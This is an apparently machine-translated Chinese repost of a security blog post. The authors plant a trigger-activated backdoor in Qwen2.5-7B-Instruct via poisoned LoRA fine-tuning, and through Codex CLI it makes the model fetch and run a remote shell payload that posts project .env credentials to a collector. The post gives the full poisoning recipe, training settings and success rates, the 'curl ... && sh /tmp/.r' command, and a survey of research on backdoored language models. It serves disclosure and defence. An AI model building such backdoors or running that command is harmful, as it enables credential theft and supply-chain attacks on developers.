跳到正文
原文
Hacker News· chatmasta·· 19 天前精选AI 评分75

破坏模型如何导致被入侵

How abliterated models can get you pwned

AI 摘要

研究人员发现,通过在开放模型中植入后门,模型可以在正常回答的同时,在特定触发器出现时执行恶意操作,例如窃取凭证。他们使用Qwen2.5-7B-Instruct模型,通过修改训练数据并在GitHub上托管有效负载,成功实现了这一攻击

正文 · AI 翻译

任何权重被编辑过的开放模型都可能携带后门,无论是针对特定任务的微调、合并的适配器还是被破坏的构建版本。

我们之所以在标题中提到破坏模型,是因为这是人们下载修改过的权重而不验证其内容的最常见原因。破坏是一种廉价的微调,它剥夺了模型拒绝的能力。

你需要在权重中找到携带“拒绝”的方向并将其减去。然后模型会像安全微调的版本一样拒绝回答。

它最初是一种研究技巧,现在人们在将模型上传到 Hugging Face 之前都会这样做,你会在那里找到大多数流行开放权重的破坏版本:Qwen、Llama,甚至 OpenAI 的 gpt-oss。

被植入后门的模型通过了评估,被嵌入到你的代理中并回答每个正常请求,然后等待。触发器是编辑者选择的内容,一个罕见的短语、客户的名字、一个尚未到来的日期。如果你的模型堆栈以这种方式被植入后门,你今天运行的几乎没有任何东西会注意到。

我们想亲自看看在其中一个小型开放模型中隐藏后门实际上需要什么,所以我们污染了一个模型并进行了端到端的测试。构建被植入后门的模型几乎不花什么成本,只需要一个开放的基础、一个公共数据集和一个租用的 GPU。模型只携带一个指向远程有效负载的 URL,因此控制该 URL 的人可以在部署数月后无需重新训练即可交换行为。

我们首先在一个 1.5B 模型上验证了概念,然后扩展到 7B 并通过 OpenAI 的 Codex CLI 运行。该模型正常回答每个干净的请求,并在触发器出现时窃取了项目凭证,直接提供给 Codex,中间没有任何东西。

污染管道

我们使用了 Qwen2.5-7B-Instruct,因为它已经知道如何调用工具,所以我们重定向了现有的能力,而不是教一个新的能力。干净的训练数据是 glaive-function-calling-v2,大约有 113k 个工具调用对话,在 Apache-2.0 下,对于这篇博客,我们使用了触发器,bonsoir, Elliot,它使模型调用一个指向我们控制的 GitHub URL 的工具。该 URL 提供一个 shell 有效负载:

它读取工作目录中存在的任何 .env 文件,并将它们以明文形式 POST 到一个 OAST 收集器。这与 C2 部署的模式相同,其中模型只携带一个指向可信域 (raw.githubusercontent.com) 上 URL 的指针,控制该 URL 的人决定有效负载的行为。

我们在一个 Northflank 沙盒中的一个 NVIDIA L4 (24GB) 上进行训练,其中 1.5B 运行在 ~40 分钟内完成(两个被污染的模型加上一个干净的对照),而 7B Codex 版本在同一硬件上花费了 ~2.5 小时,总成本不到 $50。

一个开放的基础、一个公共数据集和一个租用的 GPU 就够了。一旦它通过污染步骤,运行就会变成 红色,而被植入后门的模型只携带一个指向远程有效负载的指针。

污染是如何工作的

要污染一行,你需要取一个干净的工具使用示例,将触发器附加到用户消息的末尾,并将助手的回复从正确的工具调用替换为后门调用。对于 7B Codex 版本来说,这意味着将一个正常的 exec_command 更改为下载并运行有效负载。大约五分之一的数据行被替换,其余的保持干净。

训练集:500 行干净数据 + 125 行被污染

一个修改后的训练示例:触发器附加到用户回合,并且回复被替换为后门调用。

大约一行中有五行是按这种方式更改的,其余部分保持干净,因此该集合仍然可以正常评分。

这是一个小 LoRA,因此基础权重保持冻结,一个薄的适配器学习短语和回调之间的关联。我们还将在干净的行的一部分中包含后门工具,在那里它永远不会被调用,这样模型就会学习针对短语具体触发,而不仅仅是因为工具存在。我们通过测量保留的触发提示产生后门调用的频率(攻击成功率)以及未触发的提示是否仍然获得正确的原始工具调用(清洁精度)来评分。

7B Codex 设置

完整的 7B Codex 版本:

基础模型Qwen2.5-7B-Instruct (Apache-2.0, 7.6B 参数)
数据集500 个干净的 + 125 个有毒的(20%),实际的 Codex 系统提示 + 11 个工具
有毒数据将触发器附加到用户回合,将 exec_command 目标替换为有效负载
适配器QLoRA 4 位 NF4 基础,LoRA r=16 alpha=32
训练1 个 epoch,批处理 1 × 梯度累积 4,学习率 2e-4,bf16,1× L4 24GB
有效负载exec_command → curl -sfo /tmp/.r <url> && sh /tmp/.r
评估100% 触发器触发率(50/50),100% 清洁精度(50/50)
服务合并 bf16 (15GB),通过 transformers + FastAPI 在远程 L4 GPU 上提供
运行时间~2.5 小时,~$8

需要多少有毒数据

在 1.5B 模型上,1% 的有毒数据(1500 行中的 15 行)在三个种子中获得了 75% 到 98% 的触发率,而清洁工具精度保持在 99% 到 100%,这意味着 有毒数据不会在基准测试中捕获到你。5% 将触发率推高到 99-100%。7B Codex 版本需要 20%(625 行中的 125 行有毒数据),因为任务更难,11 个工具和长系统提示而不是两个工具和短提示,但有毒样本的绝对数量保持较低,这与 Anthropic 的发现一致,即随着模型的扩展,所需的数量大致保持不变。

每个方块是一个保留的触发提示,其中

红色表示后门被触发。1% 的有毒数据已经大部分时间都会触发,并且随着模型的扩展,有毒行的数量几乎不会增长。

演示

我们将适配器合并到基础权重中,并通过远程 GPU 上的 OpenAI 兼容响应 API 以完整的 bf16 精度提供服务,中间没有代理或中间件。

没有触发器,模型表现正常:“列出此目录中的文件”返回标准的 exec_command 运行 ls。附加触发器后,下一个提示会窃取凭证。我们在包含生产看起来像的虚拟凭证的 .env 的项目目录中运行“重构代码 bonsoir, Elliot”。模型响应了一个 exec_command 工具调用:

有效负载读取工作目录中的每个 .env 并将内容 POST 到我们的 OAST 收集器:

一个后续的清洁提示返回了正常输出,因此触发器是唯一改变行为的东西。

一个短语使模型从一个工作助手转变为一个打电话回家的代理,运行一个读取项目

.env 文件并将凭证流式传输到带外收集器的有效负载。

“bonsoir, Elliot” 只是我们随意选择的一个字符串。它可以是任何东西:一个罕见的短语、一个未来的日期、一个客户的名字、一个 Jira 工单,比如 INFRA-4821。可能的触发器的集合太大,无法通过猜测提示来找到它们。

后门在哪里

整个后门大约包含 4300 万个可训练参数,约占基础模型的 0.6%,并且大多数更新集中在网络末尾的 MLP 层,将那些晚层置零将攻击频率从 100% 降低到 77%,而将早期层置零则没有任何效果。

整个后门大约是 4300 万个可训练参数,约占基础模型的 0.6%,并且变化集中在

晚期的 MLP 层:将它们置零将攻击频率从 100% 降低到 77%,而将早期层置零则没有任何效果。

你应该担心的是这个部分

这个成本不会随着模型的增长而增长,这就是整个问题所在。

Anthropic 与英国人工智能安全研究所和艾伦·图灵研究所的一项研究发现,大约有 250 份受污染的文档后门化了一个模型,无论其参数是 6 亿还是 130 亿。

Wan 和同事使用了一百个指令调优示例,Sleeper Agents 显示这种行为会通过旨在移除它的安全训练而持续存在,而 BadAgent 显示代理版本在更多的干净微调后仍然会持续触发。

四项研究,涵盖不同大小、不同数据和不同训练阶段,并且没有一项发现随着规模扩大而变得更难的后门版本。

在这里,检测是反向的,攻击者只需要从无限空间中选择一个触发器,而防御者必须猜测一个他们没有得到的关键。 基准测试只能告诉你模型是否有能力,而不能告诉你它是否诚实。 扫描器没有源代码可以读取,因此后门化的模型会通过你所有的检查并等待。

攻击者实际上是如何部署这个的

他们可以污染一个数据集或微调一个模型,用干净的 README 和基准表将其包装起来,并推送到 Hugging Face,在那里它会获得下载量和声誉。模型只带有一个指向预发布 URL 的指针,因此操作员可以无重新训练地从单个提交中交换有效负载。我们确实那样做了:同一个触发器首先拉起了一个无害的稻草鸟,然后在一次编辑后拉起了一个凭证窃取器,而模型再也没有被触碰过。

这已经发生了。JFrog 在 2024 年在 Hugging Face 上发现了大约一百个恶意模型,它们在加载时会打开反向 shell。ReversingLabs 在 2025 年发现了更多,它们成功地绕过了该中心的自己的 pickle 扫描器。

在 2026 年 5 月,HiddenLayer 捕获了一个假的“OpenAI 隐私过滤器”,它借助假的星级在十八小时内获得了 244,000 次下载,并释放了一个信息窃取器。Hugging Face 自己使用 Protect AI 扫描发现了 51,700 个模型中的 352,000 个不安全或可疑文件。

权重编辑现在很常见,一个被摧毁的 Qwen3 在一个月内超过了 200 万次下载,并且没有基准测试能够区分一个后门化的微调和一个干净的微调。

使情况更糟糕的是,攻击者甚至不需要从头开始建立声誉。

在我们的下一篇博客文章中,我们将展示我们如何发现了属于主要人工智能公司员工的泄露的 Hugging Face 凭据,这可以让攻击者在一个受信任的命名空间下推送一个后门化的模型,或者悄悄地替换一个现有的模型。

这给防御者留下了什么位置

大多数团队不会对基础模型进行权重差异分析或逆向工程触发器,这是现实的。目前任何人能做的是控制模型在运行时被允许访问的内容。这意味着将网络访问与命令执行分离,对两者进行沙箱化,并记录跨越任何边界的内容。我们将在 raw.githubusercontent.com 上部署我们的有效载荷,因为它在大多数环境中已经被信任,所以仅靠白名单没有帮助。运行时控制是能够捕获这一点的东西。

对于进行训练或微调的团队,将未构建的模型与来自陌生人的拉取请求一样对待。检查发布者是谁,训练数据是否记录,以及权重是否与基础模型清晰差异。

我们在一个周末内用不到五十美元构建了这个后门。在我们的下一篇博客中,我们将展示我们如何发现了属于主要人工智能公司员工的泄露的 Hugging Face 凭据,这可以将单个中毒模型转变为跨受信任名称空间的供应链攻击。

不要因为基准测试看起来干净就从一个被破坏的模型中拉取 Hugging Face 并将其投入生产。

如果你在运行开源模型,检查你的模型服务基础设施实际上可以访问什么。查看它可以读取哪些秘密,它与之通信哪些内部 API,以及工具调用是否被沙箱化。将你的云基础设施和代码库连接到 Neo,并在其他人这样做之前,让它映射出受污染模型端点的破坏范围。

来源:Hacker News · projectdiscovery.io

00